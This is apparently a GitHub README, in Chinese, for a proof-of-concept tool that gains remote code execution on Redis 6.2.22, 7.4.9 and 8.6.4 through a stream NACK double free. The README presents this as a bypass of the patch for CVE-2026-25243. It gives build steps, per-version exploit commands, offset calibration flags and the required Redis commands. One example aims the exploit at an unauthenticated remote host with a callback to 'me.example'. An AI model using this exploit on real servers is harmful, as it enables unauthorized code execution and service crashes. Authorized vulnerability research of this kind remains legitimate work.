berabuddies/redis-poc

GitHub: berabuddies/redis-poc

Redis stream NACK double free 漏洞的非破坏性 RCE PoC 利用工具,针对 Redis 6.2.22/7.4.9/8.6.4 三个特定版本。

Stars: 0 | Forks: 0

# Redis 认证 RCE (stream NACK double free) 非破坏性 RCE 漏洞利用,适用于 **Redis 6.2.22、7.4.9 和 8.6.4**,通过以下方式触发: stream consumer-group shared-NACK double free(CVE-2026-25243 绕过其补丁的新变体)。 ## 构建(仅一次) ``` gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c ``` 要求:Python 3.6+(无需 pip 包),gcc。 ## 使用方法 ``` # 6.2.22 python3 A_exploit_stock.py [password] [trigger] # 7.4.9 python3 P74_exploit.py [password] [trigger] # 8.6.4 python3 P86_exploit.py [password] [trigger] ``` - `password` — 对于无需认证的目标,请省略(或传入 `""`) - `trigger` — shell 命令,默认在 `/data/pwned*` 下写入验证文件 示例: ``` # 本地实验环境, 6.2.22 docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock" # 本地实验环境, 7.4.9 docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74" # 本地实验环境, 8.6.4 docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86" # 远程, 无认证 python3 P86_exploit.py 10.0.0.5 6379 "" "curl http://me.example/cb" ``` ## 文件 - `A_exploit_stock.py` — 针对 **6.2.22**(`redis:6.2.22` 镜像)的漏洞利用 - `P74_exploit.py`(+ `P74_g2.py`)— 针对 **7.4.9**(`redis:7.4`)的漏洞利用 - `P86_exploit.py` — 针对 **8.6.4**(`redis:8.6`)的漏洞利用 - `A_lib.py`、`G2_arbread.py` — 共享辅助脚本(必须与漏洞利用脚本放在同一目录下) - `crc64.c/h`、`crcspeed.c/h` — `libcrc64.so` 的源代码(Redis CRC64, 构建有效的 `RESTORE` payload 所需) - `calibrate.sh` — 为非官方构建计算二进制偏移量 - `P74_loop.sh`、`P86_run.sh` — 重启重试封装脚本 ## 目标要求 - **6.2.22**:默认使用官方镜像的偏移量。对于其他构建, 请覆盖偏移量(`--str-format-off`、`--got-write-off`、 `--libc-write-off`、`--libc-system-off`、`--server-off`、 `--db-dicttype-off`、`--dictsdskeycompare-off`;参见 `--help`),或运行 `./calibrate.sh /path/to/redis-server [/path/to/libc.so.6]` 来生成 它们。**错误的偏移量会导致目标服务器崩溃**(越界读取)—— 如果二进制文件与官方镜像不同,请先进行校准。 - **7.4.9 / 8.6.4**:官方原生镜像,**无需调试标志** (由于经过去 DEBUG 重构,漏洞利用已完全无需 DEBUG)。 - 用户可用的命令:`EVAL`、`RESTORE`、`XGROUP`。 ## 注意事项 - **8.8.0+ 不受此漏洞影响** 重构 PR #15081 已修复此漏洞。 仅供授权测试使用。
标签:Python, Redis, XXE攻击, 无后门, 编程工具, 请求拦截, 远程代码执行, 逆向工具